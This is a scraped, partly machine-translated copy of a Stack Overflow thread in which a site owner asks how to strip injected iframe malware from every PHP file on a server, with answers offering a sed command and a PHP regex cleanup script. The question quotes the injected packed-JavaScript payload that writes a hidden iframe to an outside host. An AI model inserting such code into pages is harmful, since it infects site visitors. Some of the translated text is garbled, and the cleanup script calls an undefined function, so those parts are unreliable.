Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/243.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/html/79.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何从我网站上的所有php文件中删除iframe病毒_Php_Html_Iframe_Virus_Trojan - Fatal编程技术网

如何从我网站上的所有php文件中删除iframe病毒

如何从我网站上的所有php文件中删除iframe病毒,php,html,iframe,virus,trojan,Php,Html,Iframe,Virus,Trojan,我在从php文件中删除病毒代码时遇到问题。我的服务器中有1200多个php文件,每个php文件都被病毒感染。将此行添加到html输出的病毒代码 以下是病毒代码: <tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toStr

我在从php文件中删除病毒代码时遇到问题。我的服务器中有1200多个php文件,每个php文件都被病毒感染。将此行添加到html输出的病毒代码

以下是病毒代码:

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352>
“代码>评估(功能(p,a,c,k,e,c,c,c,k,e,e,d){e=函数(c){返回c.toString(36)};如果(如果)如果(!.替换(/^,字符串){评估(功能(c)评估(p,a,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,p,c,c,c,p,c,c,c,p,c,c,c,c,p,c,c,c,c,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c=“i=\\”0\\”g=\\”0\\”j=\\”0\\”f=\\”c://d.h.n.l/o.m\\“>”1 5=“如果您提供的“病毒代码”字符串文字嵌入到每个php文件中,则可以通过命令行将其删除。打开shell应用程序(针对基于UNIX/UNIX的操作系统,如OS X、Linux等的Windows或终端的命令提示符)。在将病毒代码传递给shell之前,您需要先将其转义,但是理想的方法可能会因系统而异。请执行以下命令:

cd /path/to/your/infected/php/files

sed -i 's/insert_escaped_virus_code_here//g' *
注意:如果see尚未安装,请按照以下说明操作和。

您可以使用:

removeVirus.php

<?php

foreach(rglob("*.php") as $virusFile){

    $withVirus = file_get_contents($virusFile);
    $withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus);
    file_put_contents($virusFile, $withoutVirus);
}

function rglob($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*', 
    GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}

注意事项:

1-我已经在我的服务器上用10个包含病毒的
php
文件测试了代码,它按预期工作


2-确保找到黑客的来源并相应地修补系统。

这是怎么发生的?我不知道,我们的服务器直接关闭,因为在该iframe代码中检测到特洛伊木马病毒,然后我们删除了该代码,然后自动再次显示该代码。请帮助我。我投票结束这个问题,作为非主题bec因为它属于网站管理员网站。@WildaSagita您使用的是什么Web服务器?没有简单的解决方案。您需要做的第一件事是修复网站中导致感染的安全问题。可能是您没有进行修补/升级。这可能是PHP代码中的特定内容。一旦您修复了安全孔(s),然后您可以尝试清除病毒代码。但这不是寻求帮助的正确地方。她要求提供一种同时删除病毒代码的方法,而不是逐个打开文件并手动删除。使用regex;这是一个O。O在PERL中不是吗?在该页面上有多个建议,也有一个解决方法从字面上看,唯一的建议是“使用这个”,“使用那个”,假设你已经知道在哪里使用它,并且假设你已经知道如何使用他们建议使用的东西。
php removeVirus.php